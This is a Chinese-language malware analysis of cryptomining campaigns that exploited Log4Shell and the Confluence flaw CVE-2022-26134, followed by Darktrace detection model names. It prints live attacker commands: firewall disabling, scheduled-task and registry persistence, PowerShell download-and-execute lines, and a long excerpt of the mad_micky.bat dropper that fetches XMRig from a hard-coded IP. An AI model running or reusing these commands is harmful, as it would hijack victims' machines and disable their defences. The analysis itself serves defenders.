阿里云安全团队公开披露了一个严重漏洞(CVE-2021-44228),允许针对多个版本的 Apache Log4j2(Log4Shell)执行未经身份验证的远程代码。攻击者可以通过任何协议(如 HTTPS)连接并发送特制字符串来利用易受攻击的服务器。
Darktrace 检测到由于利用此 Log4j 漏洞而发生的多个客户部署中的加密挖掘。在所有这些事件中,攻击都是通过出站 SSL 连接进行的,这些连接似乎是请求 base64 编码的 PowerShell 脚本绕过边界防御和下载批处理 (.bat) 脚本文件,以及安装加密挖掘恶意软件的多个可执行文件。该活动具有更广泛的活动指标,包括常见的硬编码 IP、可执行文件和脚本。
攻击周期开始于似乎是对互联网连接设备的机会性扫描,以寻找易受 Log4j 攻击的 VMWare Horizons 服务器。一旦发现易受攻击的服务器,攻击者就会与受害者建立 HTTP 和 SSL 连接。成功利用后,服务器在端口 1389 上执行回调,检索名为 mad_micky.bat 的脚本。这实现了以下目标:
通过将所有配置文件设置为 state=off 'netsh advfirewall set allprofiles state off' 来禁用 Windows 防火墙
使用'netstat -ano | 搜索指示其他矿工安装的现有进程 findstr TCP' 识别在端口 :3333, :4444, :5555, :7777, :9000 上运行的任何进程并停止进程运行
启动一个新的 webclient 静默下载 wxm.exe
计划任务用于创建持久性。命令“schtasks /create /F /sc minute /mo 1 /tn –”安排任务并抑制警告,任务将在命令的一分钟内安排并命名为“BrowserUpdate”,指向恶意域, 'b.oracleservice[.]top' 和硬编码 IP:198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
在 RunOnce 中添加注册表项以实现持久性:reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d
在至少两种情况下,mad_micky.bat 脚本是在具有用户代理 Mozilla/5.0(兼容;MSIE 10.0;Windows NT 6.2;Win64;x64;Trident/6.0;MAARJS)的 HTTP 连接中检索到的。这是第一次也是唯一一次在这些网络上看到此用户代理。看起来这个用户代理被一些新出厂安装的华硕设备合法使用;但是,作为仅在此活动期间看到的新用户代理,它是可疑的。
成功利用后,服务器会在端口 1389 上执行回调,以检索脚本文件。在此示例中,/xms.ps1 是一个 base-64 编码的 PowerShell 脚本,它绕过主机上的执行策略以调用“mad_micky.bat”:
图 1:对 PowerShell 脚本 xms.ps1 的更多了解
快照详细说明了受影响服务器的事件日志,并指示导致 mad_micky.bat 文件下载的成功 Log4j RCE:
图 2:突出显示 mad_micky.bat 文件的日志数据
已启动其他连接以检索可执行文件和脚本。这些脚本包含位于韩国和乌克兰的两个 IP 地址。与乌克兰 IP 建立连接以下载可执行文件 xm.exe,这会激活矿工。矿工 XMRig Miner(在本例中)是一种开源的跨平台挖矿工具,可从多个公共位置下载。观察到的下一个 exe 下载是针对“wxm.exe”的 (f0cf1d3d9ed23166ff6c1f3deece19b4)。
图 3:关于 XMRig 可执行文件的更多见解
与韩国 IP 的连接涉及对另一个脚本 (/2.ps1) 以及可执行文件 (LogBack.exe) 的请求。此脚本删除与日志记录关联的运行任务,包括 SCM 事件日志过滤器或 PowerShell 事件日志使用者。该脚本还从 Pastebin 请求一个文件,这可能是一个 Cobalt Strike 信标配置文件。日志删除是通过计划任务执行的,WMI 包括:事件记录器、SCM 事件日志过滤器、DSM 事件日志消费者、PowerShell 事件日志消费者、Windows 事件消费者、BVTConsumer。
配置文件(不再托管):IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')
从 Pastebin 请求的第二个文件虽然不再由 Pastebin 托管,但它是 schtasks 命令的一部分,因此可能用于建立持久性:
schtasks /create /sc MINUTE /mo 5 /tn “\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32” /tr “c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe - WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(”hxxps://pastebin.com/raw/bcFqDdXx”'))'” /F /ru System
可执行文件Logback.exe是另一个XMRig挖矿工具。还从同一个韩国 IP 下载了一个 config.json 文件。之后使用 cmd.exe 和 wmic 命令配置矿机。
这些文件下载和矿工配置之后是与 Pastebin 的额外连接。
图 4:mad_micky.bat 文件的 OSINT 关联
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001
echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0
echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)
echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%za.exe’”powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP
if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1
Darktrace 用于识别此活动的关键模型漏洞包括针对 不常见端口上的应用程序协议、 从服务器到稀有连接的传出连接以及 到稀有目标的信标的以折衷为中心的模型。以文件为中心的模型,用于 伪装文件传输、 来自稀有位置的多个可执行文件和脚本,以及 来自稀有外部位置的压缩内容。加密货币挖矿是在 加密货币挖矿活动 模型下检测到的。
与Unusual PowerShell to Rare 和 New User Agent关联的模型 突出显示了 Log4j 回调后受感染设备上的异常连接。
使用 Darktrace 的 自主响应 技术 Antigena 的客户还可以采取措施阻止传入的文件和下载的脚本,并将受感染的设备限制为正常的生活模式,以防止最初的恶意文件下载和正在进行的加密挖掘活动。
异常端口上的异常连接/应用程序协议
异常连接/新用户代理到没有主机名的 IP
异常连接/PowerShell 到 Rare External
来自罕见外部位置的异常文件/EXE
异常文件/伪装文件传输
来自罕见外部位置的异常文件/多个 EXE
来自罕见外部位置的异常文件/脚本
来自稀有外部位置的异常文件/Zip 或 Gzip
异常的服务器活动/从服务器传出
合规/加密货币挖矿活动
妥协/代理信标(长期)
妥协/代理信标(中期)
妥协/代理信标(短期)
向 Young Endpoint 妥协/信标
对外部罕见的妥协/信标活动
妥协/加密货币挖矿活动
向稀有端点妥协/持续 TCP 信标活动
设备/新 PowerShell 用户代理
设备/可疑域
5 月 31 日, 安全公司 Volexity 向 Atlassian报告了一个严重的未修补漏洞,该漏洞影响所有 confluence 服务器和数据中心支持的版本。
Atlassian 于 6 月 2 日就该严重漏洞向其客户发出警告 ,并在一天后发布了补丁。CISA 于 6 月 3 日将此漏洞添加到其已知被利用漏洞列表中。
Check Point 发布了专门的保护措施来防止利用此漏洞的攻击,并建议客户修补受影响的系统。
漏洞
Atlassian Confluence 和数据中心中的漏洞,指定为CVE-2022-26134,可能会导致未经身份验证的对象图导航语言 (OGNL) 表达式注入攻击。
远程、未经身份验证的攻击者可以利用此漏洞通过在 URI 中放置恶意负载来在目标服务器上执行任意代码。
图 1:利用CVE-2022-26134 的恶意负载。
在野外剥削
Check Point Research (CPR) 研究人员注意到自漏洞发布以来出现了大量的利用尝试。起初,许多潜在的攻击者使用扫描方法来识别易受攻击的目标。几天后,攻击者开始利用该漏洞将恶意软件下载到受影响的系统。
在利用日志中,研究人员注意到一些与同一活动相关的恶意负载,它们来自同一来源但针对不同的平台:Linux 和 Windows。
感染链取决于受害者的操作系统。
Linux 操作系统针对性攻击
攻击者通过向受害者发送精心设计的 HTTP 请求来利用 Atlassian 0-day 漏洞。
图 2:精心设计的 HTTP 请求利用 CVE-2022-26134 和 base64 编码的负载。
base64 字符串解码为另一个 base64 编码的字符串。总的来说,研究人员必须多次解码字符串才能获得实际的有效载荷。
图 3:解码后的 base64 字符串。
该脚本从远程 C&C 服务器下载一个名为xms的 bash 脚本文件 到受害者的 tmp 文件夹,执行它,然后将其删除。
图 4:部分恶意 xms 脚本。
xms文件 是一个滴管脚本。它从受害者的机器上卸载正在运行的代理,并将自己添加到 cron 作业中以在重启时保持持久性。
此外,还会不断执行对 a[.]oracleservice.top 的网络连接测试。
为了传播到其他机器,该脚本搜索 ssh 密钥并尝试连接。然后它从 C&C 服务器下载 xms 文件并执行它。
该脚本将名为dbused 的 elf 可执行文件下载 到各种远程 IP 中的 tmp 文件夹。
dbused 文件使用 upx 打包以避免静态检测。
elf 文件是一个加密矿工,它会耗尽受害者机器的资源:
图 5:dbused 进程耗尽了系统资源。
Windows 操作系统针对性攻击
攻击者利用 Atlassian 漏洞执行 PowerShell 下载底座,从远程 C&C 服务器发起无文件攻击。
图 6:使用 PowerShell 命令利用 CVE-2022-26134 精心设计的 HTTP 请求。
lol.ps1 脚本被注入到 PowerShell 内存进程中。
该脚本验证处理器的体系结构,使用 wmi 检查它是否符合其要求。然后它将一个名为checkit2
的可执行文件下载 到 tmp 文件夹并以隐藏模式运行它。
图 7:lol.ps1 脚本。
checkit2.exe进程生成一个名为InstallUtil.exe 的 子进程 ,它连接 到 C&C 服务器。InstallUtil.exe 依次生成另一个子进程 AddInProcess.exe, 它是加密矿工。在受害者机器上运行片刻后, checkit2 进程自行终止。
图 9:系统上运行的 InstallUtil.exe 进程。
恶意软件会使用新名称将自身的新副本下载到“开始”菜单文件夹。
图 10:下载到 Startup 文件夹的 cloud.exe 文件。
加密矿工现在在机器上运行并耗尽所有系统资源:
图 11:加密钱包信息。
攻击链
这两种攻击场景都从利用 CVE-2022-26134 漏洞的初始精心制作的 HTTP 请求开始。攻击者使用 Java 执行函数执行命令,将恶意负载下载到受害者的机器上。
然后,恶意负载根据受影响的操作系统下载可执行文件。这两个可执行文件都运行一个加密矿工来利用受害者的资源为自己谋取利益。
原文来自:https://github.com/demining/Log4j-Vulnerability